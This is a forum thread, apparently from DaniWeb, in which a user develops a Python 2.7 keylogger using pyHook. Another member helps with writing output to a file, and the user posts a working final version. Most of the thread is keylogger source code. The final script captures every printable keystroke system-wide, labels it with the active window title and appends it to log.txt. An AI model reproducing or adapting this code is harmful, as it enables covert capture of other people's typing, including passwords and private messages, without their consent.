Hi

I downloaded keyboard event and its work very fine.
Its capture all keystroke and print it.
My question is how can we do it to save to file (for example C: \log.txt) instead to print out .
To write out
f=open('c:\log.txt','w') but where can I put it :)?

import pyHook
import pygame # or import pythoncom
import sys
class Keylogger():
    def __init__(self):
        self.windowname = None
        self.hm = pyHook.HookManager()
        self.hm.KeyDown = self.OnKeyboardEvent
        self.hm.HookKeyboard()

    def run(self):
        # initialize pygame and start the game loop
        pygame.init()
        while True:
            pygame.event.pump()
        #or pythoncom.PumpMessages()

    def OnKeyboardEvent(self, event):

        if event.WindowName != self.windowname:
            self.windowname = event.WindowName
            print ("\n\nWindow: [%s]" % self.windowname)
        if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
            sys.stdout.write(chr(event.Ascii))
        '''
        print 'MessageName:',event.MessageName
        print 'Message:',event.Message
        print 'Time:',event.Time
        print 'Window:',event.Window
        print 'WindowName:',event.WindowName
        print 'Ascii:', event.Ascii, chr(event.Ascii)
        print 'Key:', event.Key
        print 'KeyID:', event.KeyID
        print 'ScanCode:', event.ScanCode
        print 'Extended:', event.Extended
        print 'Injected:', event.Injected
        print 'Alt', event.Alt
        print 'Transition', event.Transition
        print '---'
        '''      

if __name__ == "__main__":
    k = Keylogger()
    k.run()

I opened Word and I wrote "Hello World"
It just write"Window: [Document4 - Microsoft Word]" not "Hello World" in log.txt why?

import pyHook
import pygame # or import pythoncom
import sys
class Keylogger():
    def __init__(self):
        self.windowname = None
        self.hm = pyHook.HookManager()
        self.hm.KeyDown = self.OnKeyboardEvent
        self.hm.HookKeyboard()

    def run(self):
        # initialize pygame and start the game loop
        pygame.init()
        while True:
            pygame.event.pump()
        #or pythoncom.PumpMessages()

    def OnKeyboardEvent(self, event):
        # Open a file
        f = open("log.txt", "w")
        if event.WindowName != self.windowname:
            self.windowname = event.WindowName
        f.write("\n\nWindow: [%s]" % self.windowname);
        if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
            sys.stdout.write(chr(event.Ascii))
        f.close()



if __name__ == "__main__":
    k = Keylogger()
    k.run()

Like this code,I think you know what I mean.But how we change above like my example.

# Open a file
f = open("log.txt", "w")
f.write( "Python is a great language");

First off, The reason that it is showing the title bar of the window is because you asked for the title bar of the window. If you are opening a MS Word window, and haven't saved the document yet, then it will show the default document name - which in this case is 'Document 4' - followed by the name of the program.

As for logging the keystrokes, this would depend on a) what version of Python you are using, and b) whether you want to use the standard Logging API or not. The Logging API is pretty poweful, but not, I suspect, quite what you want; it is aimed mainly at event logging for debugging and troubleshooting programs. In this case, a simpler approach is probably called for, in which case just using the print command (or print function, in Python 3.x) should work.

for Python 2.x, you would write,

print "\n\nWindow: [%s]" % self.windowname >> f

while in Python 3.x (or Python 2.5 and later with the module import directive from __future__ import print_function), it would be

print("\n\nWindow: [{0}]".format(self.windowname), file = f) 

This all is fairly simple, I would think; I suspect that there's more to your question than is evident.

Thanks Schol-R-LEA,Im using python 2.7.3
Why I get still error? is it right in my code?

import pyHook
import pygame # or import pythoncom
import sys
class Keylogger():
    def __init__(self):
        self.windowname = None
        self.hm = pyHook.HookManager()
        self.hm.KeyDown = self.OnKeyboardEvent
        self.hm.HookKeyboard()

    def run(self):
        # initialize pygame and start the game loop
        pygame.init()
        while True:
            pygame.event.pump()
        #or pythoncom.PumpMessages()

    def OnKeyboardEvent(self, event):
        f = open("log.txt", "w")

        if event.WindowName != self.windowname:
            self.windowname = event.WindowName
        f.write("\n\nWindow: [%s]" % self.windowname);
        print "\n\nWindow: [%s]" % self.windowname >> f

        if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
            sys.stdout.write(chr(event.Ascii))


if __name__ == "__main__":
    k = Keylogger()
    k.run()

Could you please post the error message and the traceback?

I get this error..

"""Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
    return func(event)
  File "C:\Users\bt\Desktop\Keylogger.py", line 24, in OnKeyboardEvent
    print "\n\nWindow: [%s]" % self.windowname >> f
TypeError: unsupported operand type(s) for >>: 'str' and 'file'  """

Hi
This is my solution, maybe there is a better way than me!
When I run the script my computer sounds very high? Anyone know why?
My CPU usage from % 2 went up to % 14 ?
Is there any way to reduce sound when I run the scripts?

import pyHook
import pygame # or import pythoncom
import sys
class Keylogger():
    def __init__(self):
        self.windowname = None
        self.hm = pyHook.HookManager()
        self.hm.KeyDown = self.OnKeyboardEvent
        self.hm.HookKeyboard()

    def run(self):
        # initialize pygame and start the game loop
        pygame.init()
        while True:
            pygame.event.pump()
        #or pythoncom.PumpMessages()

    def OnKeyboardEvent(self, event):
        # for write data...
        logf = open ("log.txt","a")

        if not logf:
           sys.exit()

        if event.WindowName != self.windowname:
            self.windowname = event.WindowName
            print ("\n\nWindow: [%s]" % self.windowname)
            logf.write("\nWindow:%s\n" % self.windowname)
        if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
            sys.stdout.write(chr(event.Ascii))
            logf.write("%s" %  chr(event.Ascii) )
        logf.close()


if __name__ == "__main__":
    logf = open("log.txt", "w")
    logf.close()
    import time
    time.sleep(1)

    k = Keylogger()
    #logf.close()
    k.run()
Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.